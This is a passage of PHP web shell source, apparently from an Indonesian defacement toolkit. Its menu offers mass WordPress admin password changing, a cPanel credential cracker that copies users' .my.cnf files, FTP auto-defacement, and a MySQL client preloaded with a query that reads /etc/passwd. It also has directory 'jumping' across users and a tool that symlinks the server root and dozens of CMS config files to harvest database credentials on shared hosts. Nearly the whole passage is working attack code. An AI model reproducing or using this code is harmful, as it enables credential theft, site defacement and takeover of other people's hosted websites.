1028$d=@mysql_connect( $host, $user, $db_password ) ;
1029if ($d){
1030@mysql_select_db($db );
1031$usern=$_POST['username'];
1032$passwd=$_POST['password'];
1033$sql = "UPDATE `".$p."users` SET `user_pass` = MD5( '".$passwd."' ) WHERE `ID` = '1';";
1034@mysql_query($sql) ; ;
1035$sql = "UPDATE `".$p."users` SET `user_login` = '".$usern."' WHERE `ID` = '1';";
1036@mysql_query($sql) ; ;
1037$aa=@mysql_query("select option_value from `".$p."options` WHERE `option_name` = 'siteurl';") ;;
1038$siteurl=@mysql_fetch_array($aa) ;
1039$siteurl=$siteurl['option_value'];
1040$tr.="$siteurl\n";
1041mysql_close();
1042}
1043}
1044if ($tr)
1045$filename = 'changed.txt';
1046$fp = fopen($filename, "a+");
1047$write = fputs($fp, $tr);
1048fclose($fp);
1049echo "<div class='result'>Password Changing Completed ! :)<br><br>";
1050echo "<a href='changed.txt' target='_blank'>View List of Password Changed Sites</a></div><br/>";
1051
1052}
1053}
1054
1055function file_get_contents2($u){
1056 $ch = curl_init();
1057 curl_setopt($ch,CURLOPT_URL,$u);
1058 curl_setopt($ch, CURLOPT_HEADER, 0);
1059 curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
1060 curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0 ");
1061 $result = curl_exec($ch);
1062 return $result ;
1063 }
1064 ?>
1065 <?php }
1066 elseif(isset($_GET['x']) && ($_GET['x'] == 'masstool'))
1067 {
1068 ?>
1069 <a href="?<?php echo "path=".$path; ?>&x=massde"><input class=inputzbut type=submit value="Mass Deface" /></a>
1070 | <a href="?<?php echo "path=".$path; ?>&x=mpc"><input class=inputzbut type=submit value="Wordpress Mass Password Changer" /></a>
1071
1072 <?php
1073 }
1074 elseif(isset($_GET['x']) && ($_GET['x'] == 'tentang'))
1075 {
1076 echo"<br><br>
1077 <center><b>
1078Agus Dwi Cahyo / 13CHMOD37<br>adchacker@gmail.com<br><br>
1079Thanks to: Sinkaroid, Derry, Indonesian Fighter Cyber, IndoXploit, AnonGhost, Hacker Sakit Hati. etc~
1080</center>
1081 </b>";
1082 }
1083elseif(isset($_GET['x']) && ($_GET['x'] == 'cpanel'))
1084 {
1085 ?>
1086
1087 <a href="?<?php echo "path=".$path; ?>&x=brute"><input class=inputzbut type=submit value="cpanel bruteforce" /></a>
1088 | <a href="?<?php echo "path=".$path; ?>&x=cpcrack"><input class=inputzbut type=submit value="cpanel finder/cracker" /></a><br>
1089 <a href="?<?php echo "path=".$path; ?>&x=cpdef"><input class=inputzbut type=submit value="cpanel deface" /></a>
1090 <?php
1091 }
1092elseif(isset($_GET['x']) && ($_GET['x'] == 'cpcrack'))
1093 {
1094 ?>
1095 <form action="?path=<?php echo $path; ?>&x=cpcrack" method="post">
1096 <?php
1097
1098@ini_set('display_errors',0);
1099function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
1100 $ar0=explode($marqueurDebutLien, $text);
1101 $ar1=explode($marqueurFinLien, $ar0[$i]);
1102 return trim($ar1[0]);
1103}
1104
1105echo '<h1>Cpanel Finder/Cracker</h1><br/>';
1106
1107echo "<center>";
1108$d0mains = @file('/etc/named.conf');
1109$domains = scandir("/var/named");
1110
1111if ($domains or $d0mains)
1112{
1113 $domains = scandir("/var/named");
1114 if($domains) {
1115echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
1116$count=1;
1117$dc = 0;
1118$list = scandir("/var/named");
1119foreach($list as $domain){
1120if(strpos($domain,".db")){
1121$domain = str_replace('.db','',$domain);
1122$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
1123$dirz = '/home/'.$owner['name'].'/.my.cnf';
1124$path = getcwd();
1125
1126if (is_readable($dirz)) {
1127copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
1128$p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
1129$password=entre2v2($p,'password="','"');
1130echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
1131$dc++;
1132}
1133
1134}
1135}
1136echo '</table>';
1137$total = $dc;
1138echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
1139echo '</center>';
1140}else{
1141$d0mains = @file('/etc/named.conf');
1142 if($d0mains) {
1143echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
1144$count=1;
1145$dc = 0;
1146$mck = array();
1147foreach($d0mains as $d0main){
1148 if(@eregi('zone',$d0main)){
1149 preg_match_all('#zone "(.*)"#',$d0main,$domain);
1150 flush();
1151 if(strlen(trim($domain[1][0])) >2){
1152 $mck[] = $domain[1][0];
1153 }
1154 }
1155}
1156$mck = array_unique($mck);
1157$usr = array();
1158$dmn = array();
1159foreach($mck as $o) {
1160 $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
1161 $usr[] = $infos['name'];
1162 $dmn[] = $o;
1163}
1164array_multisort($usr,$dmn);
1165$dt = file('/etc/passwd');
1166$passwd = array();
1167foreach($dt as $d) {
1168 $r = explode(':',$d);
1169 if(strpos($r[5],'home')) {
1170 $passwd[$r[0]] = $r[5];
1171 }
1172}
1173$l=0;
1174$j=1;
1175foreach($usr as $r) {
1176$dirz = '/home/'.$r.'/.my.cnf';
1177$path = getcwd();
1178if (is_readable($dirz)) {
1179copy($dirz, ''.$path.'/'.$r.'.txt');
1180$p=file_get_contents(''.$path.'/'.$r.'.txt');
1181$password=entre2v2($p,'password="','"');
1182echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
1183$dc++;
1184 flush();
1185 $l=$l?0:1;
1186 $j++;
1187 }
1188 }
1189 }
1190echo '</table>';
1191$total = $dc;
1192echo '<br><h3>Total cPanel Found = '.$total.'</h3><br />';
1193echo '</center>';
1194
1195}
1196}else{
1197echo "<h3><i><font color='red'>ERROR</font><br><font color='red'>/var/named</font> or <font color='red'>etc/named.conf</font> Not Accessible!</i></h3>";
1198}
1199
1200echo "</body></html>";
1201?>
1202<?php }
1203elseif(isset($_GET['x']) && ($_GET['x'] == 'cpdef'))
1204 {
1205 ?>
1206 <form action="?path=<?php echo $path; ?>&x=cpdef" method="post">
1207<?php
1208$head = '<html>
1209<head>
1210<title>Auto Cpanel Defacer</title>
1211<script language=\'javascript\'>
1212function hide_div(id)
1213{
1214 document.getElementById(id).style.display = \'none\';
1215 document.cookie=id+\'=0;\';
1216}
1217function show_div(id)
1218{
1219 document.getElementById(id).style.display = \'block\';
1220 document.cookie=id+\'=1;\';
1221}
1222function change_divst(id)
1223{
1224 if (document.getElementById(id).style.display == \'none\')
1225 show_div(id);
1226 else
1227 hide_div(id);
1228}
1229</script>'; ?>
1230<html>
1231 <head>
1232 <?php
1233 echo $head ;
1234 echo '
1235
1236<table width="100%" cellspacing="0" cellpadding="0" class="tb1" >
1237 <td width="100%" align=center valign="top" rowspan="1">
1238 <div class="hedr">
1239 <td height="10" align="left" class="td1"></td></tr><tr><td width="100%" align="center" valign="top" rowspan="1"><font color="red" face="comic sans ms"size="1"><b>
1240 <br><font face="Andalus" size="4" color=#58FAF4>Cpanel Auto Defacer</font><br>
1241 <br><br>
1242 <font color="RED" face="gothic" size="3"></font><br>
1243 </table>
1244';
1245?>
1246
1247
1248<body bgcolor=black><h6 style="text-align:center"><font color=white>
1249<p><form method=post>
1250 server ip: <input class=inputzbut type=text name=hi value=ip>
1251 username: <input class=inputzbut type=text name=tx value=>  
1252 password:<input class=inputzbut type=text name=p value=><p>
1253 file that you want to deface: <input class=inputzbut type=text name=ph value="index.php">
1254 <p><font color=red size=3>Deface page link : </font>
1255 <textarea rows=1 cols=50 class=inputzbut name=deface value="your daface page link">
1256 </textarea>
1257 <p><input class=inputzbut type=submit name=sm value="Submit" /><br>
1258 </form>
1259<?php
1260
1261if(isset($_POST['sm']))
1262{
1263 $ip=trim($_POST['hi']);
1264 $u=trim($_POST['tx']);
1265 $p=trim($_POST['p']);
1266 $d=trim($_POST['ph']);
1267 $df=trim($_POST['deface']);
1268 echo "<br><font color=white size=2>";
1269 echo "<font color=red size=3>server ip :</font> ".$ip;
1270 echo "<br><font color=red size=3>user :</font>  ".$u;
1271 echo "<br><font color=red size=3>password :</font>  ".$p;
1272 echo "<br><font color=red size=3>dirctory :</font>  ".$d;
1273 echo "<br><font color=red size=3>deface link :</font><br>".$df."<br>";
1274 $dl="public_html/".$d;
1275 $si= ftp_connect($ip);
1276
1277$try= ftp_login($si,$u,$p);
1278if ((!$si) || (!$try))
1279{
1280 echo "<br>could not connected :(";
1281 exit;
1282}
1283else
1284{
1285 echo "<br>connection done<br><br>";
1286}
1287$deface = ftp_put($si, $dl , $df, FTP_BINARY);
1288if ($deface)
1289{
1290 echo "hell yesh page got defaced successfully";
1291}
1292else
1293{
1294 echo "try manually :(";
1295}
1296 }
1297?>
1298<?php }
1299
1300 elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql')){if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport']))
1301{
1302$sqlhost = $_GET['sqlhost'];
1303$sqluser = $_GET['sqluser'];
1304$sqlpass = $_GET['sqlpass'];
1305$sqlport = $_GET['sqlport'];
1306if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass))
1307{
1308$msg .= "<div style='width:99%;padding:4px 10px 0 10px;'>";
1309$msg .= "<p>Connected to ".$sqluser."<span class='gaya'>@</span>".$sqlhost.":".$sqlport;$msg .= " <span class='gaya'>-></span> <a href='?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&'>[ databases ]</a>";
1310if(isset($_GET['db'])) $msg .= " <span class='gaya'>-></span> <a href='?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$_GET['db']."'>".htmlspecialchars($_GET['db'])."</a>";
1311if(isset($_GET['table'])) $msg .= " <span class='gaya'>-></span> <a href='?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$_GET['db']."&table=".$_GET['table']."'>".htmlspecialchars($_GET['table'])."</a>";
1312$msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";$msg .= "</div>";echo $msg;if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){$db = $_GET['db'];$query = "DROP TABLE IF EXISTS b374k_table;\nCREATE TABLE `b374k_table` ( `file` LONGBLOB NOT NULL );\nLOAD DATA INFILE '/etc/passwd'\nINTO TABLE b374k_table;SELECT * FROM b374k_table;\nDROP TABLE IF EXISTS b374k_table;";
1313$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'><input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>$query</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";
1314$tables = array();
1315$msg .= "<table class='explore' style='width:99%;'><tr><th>available tables on ".$db."</th></tr>";$hasil = @mysql_list_tables($db,$con);
1316while(list($table) = @mysql_fetch_row($hasil)){@array_push($tables,$table);} @sort($tables);
1317foreach($tables as $table){
1318$msg .= "<tr><td><a href='?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."&table=".$table."'>$table</a></td></tr>";} $msg .= "</table>";}
1319elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){
1320$db = $_GET['db'];$table = $_GET['table'];$query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";$msgq = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <input type='hidden' name='table' value='".$table."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";$columns = array();$msg = "<table class='explore' style='width:99%;'>";$hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);while(list($column) = @mysql_fetch_row($hasil)){$msg .= "<th>$column</th>";$kolum = $column;}$msg .= "</tr>";$hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
1321list($total) = mysql_fetch_row($hasil);
1322if(isset($_GET['z'])) $page = (int) $_GET['z'];
1323else $page = 1;$pagenum = 100;$totpage = ceil($total / $pagenum);$start = (($page - 1) * $pagenum);$hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
1324while($datas = @mysql_fetch_assoc($hasil)){$msg .= "<tr>";foreach($datas as $data){if(trim($data) == "")
1325$data = " ";$msg .= "<td>$data</td>";}$msg .= "</tr>";} $msg .= "</table>";$head = "<div style='padding:10px 0 0 6px;'> <form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <input type='hidden' name='table' value='".$table."' /> Page <select class='inputz' name='z' onchange='this.form.submit();'>";
1326for($i = 1;$i <= $totpage;$i++){$head .= "<option value='".$i."'>".$i."</option>";
1327if($i == $_GET['z']) $head .= "<option value='".$i."' selected='selected'>".$i."</option>";} $head .= "</select><noscript><input class='inputzbut' type='submit' value='Go !' /></noscript></form></div>";$msg = $msgq.$head.$msg;}
1328elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){$db = $_GET['db'];$query = magicboom($_GET['sqlquery']);
1329$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";@mysql_select_db($db);$querys = explode(";",$query);foreach($querys as $query){if(trim($query) != ""){$hasil = mysql_query($query);
1330if($hasil){$msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>".$query."; <span class='gaya'>[</span> ok <span class='gaya'>]</span></p>";$msg .= "<table class='explore' style='width:99%;'><tr>";
1331for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";$msg .= "</tr>";for($i=0;$i<@mysql_num_rows($hasil);$i++) {$rows=@mysql_fetch_array($hasil);$msg .= "<tr>";for($j=0;$j<@mysql_num_fields($hasil);$j++) {
1332if($rows[$j] == "") $dataz = " ";
1333else $dataz = $rows[$j];$msg .= "<td>".$dataz."</td>";} $msg .= "</tr>";} $msg .= "</table>";}
1334else $msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>".$query."; <span class='gaya'>[</span> error <span class='gaya'>]</span></p>";} } }
1335else {$query = "SHOW PROCESSLIST;\nSHOW VARIABLES;\nSHOW STATUS;";$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /><input type='hidden' name='x' value='mysql' /><input type='hidden' name='sqlhost' value='".$sqlhost."' /><input type='hidden' name='sqluser' value='".$sqluser."' /><input type='hidden' name='sqlport' value='".$sqlport."' /><input type='hidden' name='sqlpass' value='".$sqlpass."' /><input type='hidden' name='db' value='".$db."' /><p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p><p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p></form></div> ";$dbs = array();$msg .= "<table class='explore' style='width:99%;'><tr><th>available databases</th></tr>";$hasil = @mysql_list_dbs($con);
1336while(list($db) = @mysql_fetch_row($hasil)){@array_push($dbs,$db);} @sort($dbs);foreach($dbs as $db){
1337$msg .= "<tr><td><a href='?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."'>$db</a></td></tr>";} $msg .= "</table>";}
1338@mysql_close($con);} else $msg = "<p style='text-align:center;'>can't connect</p>";echo $msg;} else{?>
1339<br><center><div class="mybox"><h2 class="k2ll33d2">MySQL Connect<p>
1340change password use sql:<br>
1341UPDATE `db_name`.`wp_users` SET `user_pass` = 'de82a7187aed550cebff86819a1d6819' WHERE `wp_users`.`ID` =1;<br>
1342db_name = db_name (not user) | de82a7187aed550cebff86819a1d6819 = kerupuk | wp_users = table admin | 1 = username 'admin'
1343</h2>
1344<form action="?" method="get"><input type="hidden" name="y" value="<?php echo $pwd;?>" />
1345<input type="hidden" name="x" value="mysql" /><table class="tabnet" style="width:300px;"> <tr>
1346<th colspan="2">Connection Form</th></tr> <tr><td> Host</td><td>
1347<input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr>
1348<tr><td> Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr>
1349<tr><td> Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr>
1350<tr><td> Port</td><td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" /> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" />
1351</td></tr></table></form></div></center>
1352<?php
1353}
1354}
1355elseif(isset($_GET['x']) && ($_GET['x'] == 'jumping'))
1356 {
1357 ?>
1358 <form action="?path=<?php echo $path; ?>&x=jumping" method="post">
1359 <?php
1360echo "<table class=\"cmdbox\"><tr><td colspan=\"2\">";
1361($sm = ini_get('safe_mode') == 0) ?
1362$sm = 'off': die("Error: Safe_mode = On</td></tr></table>
1363<div class=\"info\">stupidc0de</div>
1364<div class=\"jaya\"> stupidc0de © ".date('Y',time())." ".$xName." ;-) </div>");
1365set_time_limit(0); @$passwd = fopen('/etc/passwd','r');
1366if (!$passwd) { die ("<br><center>[-] Error : Coudn`t Read /etc/passwd</td></tr></table>
1367<div class=\"info\">stupidc0de</div>
1368<div class=\"jaya\"> stupidc0de © ".date('Y',time())." ".$xName."</div></center>"); }
1369$pub = array(); $users = array(); $conf = array(); $i = 0; while(!feof($passwd)){
1370$str = fgets($passwd); if ($i > 100){ $pos = strpos($str,':');
1371$username = substr($str,0,$pos); $dirz = '/home/'.$username.'/public_html/';
1372if (($username != '')){ if (is_readable($dirz)){ array_push($users,$username); array_push($pub,$dirz); } } } $i++; } foreach ($users as $user){
1373echo '<center>Found ~ <a href="?y=/home/'.$user.'/public_html">/home/'.$user.'/public_html/</a><br></center>'; }
1374}
1375#####################################
1376#####################################
1377#####################################
1378#####################################
1379#####################################
1380#####################################
1381#####################################
1382#####################################
1383#####################################
1384#####################################
1385#####################################
1386#####################################
1387 elseif(isset($_GET['x']) && ($_GET['x'] == 'vn'))
1388 {
1389 ?>
1390 <form action="?path=<?php echo $path; ?>&x=vn" method="post">
1391 <center><h2>Domain Viewer</h2></center><br><br>
1392 <?php
1393 function openBaseDir()
1394{
1395$openBaseDir = ini_get("open_basedir");
1396if (!$openBaseDir)
1397 {
1398 $openBaseDir = '<font color="green">OFF</font>';
1399 }
1400 else
1401 {
1402 $openBaseDir = '<font color="red">ON</font>';
1403 }
1404 return $openBaseDir;
1405}
1406
1407
1408echo '
1409 <table width="95%" cellspacing="0" cellpadding="0" class="td1" >
1410 <td height="100" align="left" class="td1">';
1411 $pg = basename(__FILE__);
1412 $safe_mode = @ini_get('safe_mode');
1413 $dir = @getcwd();
1414 ////////////////////////////////////////////////////
1415 // LET'S PLAY ~
1416 ##.htaccess
1417@mkdir('pee',0777);
1418@symlink("/","pee/root");
1419$htaccss = "Options all
1420 DirectoryIndex Sux.html
1421 AddType text/plain .php
1422 AddHandler server-parsed .php
1423 AddType text/plain .html
1424 AddHandler txt .html
1425 Require None
1426 Satisfy Any";
1427
1428file_put_contents("pee/.htaccess",$htaccss);
1429$etc = file_get_contents("/etc/passwd");
1430$etcz = explode("\n",$etc);
1431
1432
1433##Symlink to the ROOT :p
1434foreach($etcz as $etz){
1435$etcc = explode(":",$etz);
1436error_reporting(0);
1437
1438$current_dir = posix_getcwd();
1439$dir = explode("/",$current_dir);
1440
1441symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
1442symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/blog/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
1443symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
1444symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
1445symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/config.php',"pee/".$etcc[0].'-PhpBB.txt');
1446symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/config.php',"pee/".$etcc[0].'-vBulletin.txt');
1447symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
1448symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/web/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
1449symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/joomla/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
1450symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
1451symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/conf_global.php',"pee/".$etcc[0].'-IPB.txt');
1452symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/inc/config.php',"pee/".$etcc[0].'-MyBB.txt');
1453symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/Settings.php',"pee/".$etcc[0].'-SMF.txt');
1454symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/sites/default/settings.php',"pee/".$etcc[0].'-Drupal.txt');
1455symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/e107_config.php',"pee/".$etcc[0].'-e107.txt');
1456symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/datas/config.php',"pee/".$etcc[0].'-Seditio.txt');
1457symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/configure.php',"pee/".$etcc[0].'-osCommerce.txt');
1458symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/client/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
1459symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientes/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
1460symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/support/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
1461symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/supportes/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
1462symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmcs/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
1463symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domain/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
1464symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/hosting/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
1465symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmc/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
1466symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/billing/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
1467symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/portal/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
1468symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/order/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
1469symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientarea/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
1470symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domains/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
1471}
1472#############################
1473 if(is_readable("/var/named")){
1474 echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
1475 echo'<tr><td><center><b>SITE</b></center></td><td>
1476 <center><b>USER</b></center></td>
1477 <td></center><b>SYMLINK</b></center></td>';
1478 $list = scandir("/var/named");
1479 foreach($list as $domain){
1480 if(strpos($domain,".db")){
1481 $i += 1;
1482 $domain = str_replace('.db','',$domain);
1483 $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
1484
1485 echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td>
1486 <td class='td1'><center><font color='red'>".$owner['name']."</font></center></td>
1487 <td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
1488 }
1489 }
1490 echo "<center>Total Domains Found: ".$i."</center><br />";
1491 }else{
1492 echo "<tr><td class='td1'>can't read [ /var/named ]</td><tr>"; }
1493
1494break;
1495
1496##################################
1497error_reporting(0);
1498$etc = file_get_contents("/etc/passwd");
1499$etcz = explode("\n",$etc);
1500if(is_readable("/etc/passwd")){
1501
1502echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
1503echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>SYMLINK</b></center></td>';
1504
1505$list = scandir("/var/named");
1506
1507foreach($etcz as $etz){
1508$etcc = explode(":",$etz);
1509
1510foreach($list as $domain){
1511if(strpos($domain,".db")){
1512$domain = str_replace('.db','',$domain);
1513$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
1514if($owner['name'] == $etcc[0])
1515{
1516$i += 1;
1517echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><center>
1518<td class='td1'><font color='red'>".$owner['name']."</font></center></td>
1519<td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
1520}}}}
1521echo "<center>Total Domains Found: ".$i."</center><br />";}
1522
1523break;
1524###############################
1525if(is_readable("/etc/named.conf")){
1526echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
1527echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td></center><b>SYMLINK</b></center></td>';
1528$named = file_get_contents("/etc/named.conf");
1529preg_match_all('%zone \"(.*)\" {%',$named,$domains);
1530foreach($domains[1] as $domain){
1531$domain = trim($domain);
1532$i += 1;
1533$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
1534echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><td class='td1'><center><font color='red'>".$owner['name']."</font></center></td><td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
1535}
1536echo "<center>Total Domains Found: ".$i."</center><br />";
1537
1538} else { echo "<tr><td class='td1'>can't read [ /etc/named.conf ]</td></tr>"; }
1539
1540break;
1541############################
1542if(is_readable("/etc/valiases")){
1543echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
1544echo'<tr><td><center><b>SITE</b></center></td><td>
1545<center><b>USER</b></center></td><td></center>
1546<b>SYMLINK</b></center></td>';
1547$list = scandir("/etc/valiases");
1548foreach($list as $domain){
1549$i += 1;
1550$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
1551echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td>
1552<center><td class='td1'><font color='red'>".$owner['name']."</font></center></td>
1553<td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
1554}
1555echo "<center>Total Domains Found: ".$i."</center><br />";
1556} else { echo "<tr><td class='td1'>can't read [ /etc/valiases ]</td></tr>"; }
1557
1558break;
1559}
1560
1561///menu rdp bib
